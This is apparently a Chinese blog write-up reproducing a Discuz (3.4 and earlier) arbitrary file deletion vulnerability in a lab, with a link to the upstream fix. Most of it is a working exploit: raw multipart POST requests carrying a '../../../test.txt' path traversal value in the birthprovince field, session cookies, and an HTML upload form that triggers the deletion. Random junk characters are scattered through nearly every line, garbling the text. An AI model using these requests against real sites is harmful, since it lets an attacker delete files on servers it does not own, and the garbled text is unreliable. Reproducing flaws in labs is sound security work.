|
|
( \& N. ^. R, ^$ O$ U
1 |/ V( t; j2 h# ]& p
前言:9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复,但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。. n6 f" P3 G# H1 S
影响版本:Discuz < =3.4 环境4 X8 a1 U4 f" g7 B: M9 M6 `3 P/ N
- J6 Q) y% @9 s. p复现过程:首先在discuz目录下新建一个test.txt文件,到时候删除用。' a k- \6 T7 P6 G5 ]" v# O
新建test.txt/ J) e3 N4 i7 Z% v: A# m9 I C$ P, F
访问:http://192.168.220.131/home.php?mod=spacecp,然查审查元素,查看formhash的值,然后复制。: {) G) |6 s* B7 A
: d6 {" u7 w% s- l8 N6 `( N
: \$ W. H5 h9 F6 Z) d; \; D: \: M查看formhash) y1 Y9 ^) y$ z f% X" w
利用burp抓包,获取cookie7 [& N9 U3 p" y0 F3 o9 f
% f7 ]( F o( P4 y6 X
' k; z& g2 J1 g# }. G. R! s9 b
7 ~- Z" h+ J4 E$ w 5 f E9 ~2 v, ?+ O; a' I
3 v- G& {0 W% A6 l7 K
抓取cookie
, m* K) o. H/ S6 Y$ N T, z' v% V6 b0 I1 M4 ~
发送下面数据包:修改cookie,formhash,还有删除的文件' I1 m0 q4 b/ h* h8 l8 ~; m. a
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1. Q4 }* X+ g# _$ s. D! b7 w
Host: localhost+ v% T9 j9 Z }! u9 O& `' T
Content-Length: 367
" H. t5 ^( O! u* }2 C& l3 |: z* CCache-Control: max-age=0" v Y5 M9 I9 ^" l1 O
Upgrade-Insecure-Requests: 1& Z; d( ^: G( Z) O
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
1 v% I, k! [9 v% S1 r" _. wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
1 t t& s/ _$ ]! b: o$ H2 D( a6 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
5 L: |1 o$ R) l) [( U- k" ?& KAccept-Encoding: gzip, deflate
6 F; }: U" G/ l1 hAccept-Language: zh-CN,zh;q=0.8,en;q=0.64 r( @5 X+ r+ Z5 @- w
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C15779380564 g+ t8 y, h! f$ Y2 n; @" e
Connection: close4 ~, `: Q5 x9 N* q4 E1 b; Q/ b
------WebKitFormBoundaryPFvXyxL45f34L12s, c) }1 c P0 G
Content-Disposition: form-data; name="formhash"& V: h& z4 d% Q6 l4 ?. ]
84a7f376
, X v! A! K% J# |# z------WebKitFormBoundaryPFvXyxL45f34L12s
6 ~/ g* p7 `0 d( VContent-Disposition: form-data; name="birthprovince"! E" u( @* b# p1 g: W' z
../../../test.txt
; _! `1 ?) f# J& z) O5 K+ E4 s------WebKitFormBoundaryPFvXyxL45f34L12s
4 w6 E3 b% L% S/ t# ~5 D8 z9 Q5 GContent-Disposition: form-data; name="profilesubmit" R* D: h+ s* B
14 U$ q6 V5 `) Y9 l& i6 p0 ?5 c5 x% J
------WebKitFormBoundaryPFvXyxL45f34L12s--0 U. U0 z% b. d( _
发送删除的数据包- G1 T7 o$ Q1 u7 I$ J/ \" H' M3 d
刷新页面,查看出生地就会显示成下图所示的状态:0 N5 O7 Q. G/ v( Z, l% t
数据成功写入# f$ u* b3 i+ I; V
1 } f0 v" w6 }1 ^4 G. n' {) L2 q/ t8 j1 t+ O5 z
说明数据已经进入数据库:
, C) e& e i. ]9 S+ A然后,新建一个upload.html,代码如下,将其中的ip改成discuz的域名,[form-hash]改成你的formhash:% b4 x: _6 {4 l+ L8 t! _
<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">8 ~% X+ I, M1 y
<input type="file"name="birthprovince" id="file" />
+ G+ R0 q. @2 s<input type="text"name="formhash" value="84a7f376"/></p>
f, m) K& {" Z+ G5 h1 U8 ^- g<input type="text"name="profilesubmit" value="1"/></p>' A5 E5 t; W$ V) T$ P; Q: b
<input type="submit"value="Submit" />
, J. l* O1 W2 _6 B4 P r/ e</from>: c ` m: M u4 L9 a; z
! L) x0 `5 |8 {0 q: x
" m$ r3 v5 P" O9 d
# m$ u8 p, e) _/ b E5 d! ^" A
: W$ f' c& ?. Z
. ^+ e* U# J g& [9 R或者直接构建数据包:; Q) G+ l) C8 X& i
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
d: ^# J3 B' e- q! [* eHost: 192.168.220.131
8 S4 p( z( \% h; ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
! ?4 i5 N: q8 d- I: a& fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
h& o. y% ]3 w, U, g, z7 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 Y- D8 ~- [; Y7 \: w$ ]/ KAccept-Encoding: gzip, deflate9 {( g3 \0 O3 F5 B
Content-Type: multipart/form-data; boundary=---------------------------1238217421187160 f( f1 L. b I; ?3 O
Content-Length: 91989. ^2 q+ |1 ^. c) o! n
Connection: close6 U- @4 R6 y! T9 \
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
6 Q2 _" p# ?* {- d, b" I `3 ^& }Upgrade-Insecure-Requests: 1+ j |+ l: I, l h' H6 O3 ^$ y& Z
-----------------------------123821742118716; _2 y9 M) O q. t/ f+ t$ y% L$ T
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"8 h) u ~7 V7 m* A! z
Content-Type: image/jpeg
5 ^$ Z1 ?/ p9 q( x# Y: M5 ^ lzerba(这里写啥都可以)/ ], \0 s7 O7 ?2 g
-----------------------------123821742118716--# T' b3 U+ C5 R$ j
4 B. Y8 T: G F4 C
% }# J" z/ a+ @& F
# S A+ B& _( {; w; p
5 u. U) I1 a* F V! k# r& {
7 ~$ T3 I2 M. P' F# D( [$ @& Q2 e
% _0 g1 m2 D6 P6 @
! _: B9 T8 L' C1 T8 t& P7 S: X; v2 G% M4 X5 T3 v8 n
! [! t( H0 D1 c% Z. g# w A
1 ~! ], I& l0 h6 n& G. Y
7 n$ P) Y( G P, [1 w3 n进去discuz看看,可以看到,test.txt文件已经被删除了。2 r- g5 O$ q+ _7 `0 K5 v$ ]$ M% |- K, t
2 ]( h. y5 X2 s
% E( U+ q4 G9 d7 S; s0 C2 X. Q/ H$ F3 Y: y
7 ]; ^8 {/ a! G* B
) i' ~3 V2 ?5 E+ X+ F/ P3 q; G& }修复建议:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
7 m5 y, G' t% N G, y) ]" Z, e: A' T编辑upload/source/include/spacecp/spacecp_profile.php文件,删除和unlink相关代码。+ l# G5 w: }$ @) m: o
, N9 o# T3 ^' G: r! G. N
/ M U; f% F6 E1 G& x* @0 D: q$ U& k9 }3 ]( O
7 Z& v% Q7 |1 ]7 u
) b) O9 I" e8 B. ~( B0 a1 ~3 v/ J3 l4 b3 P
! J; K7 X8 [8 K8 [
/ t9 m% h2 n+ @5 H9 p8 C9 P+ x+ b" n- z: D+ V5 X
|
|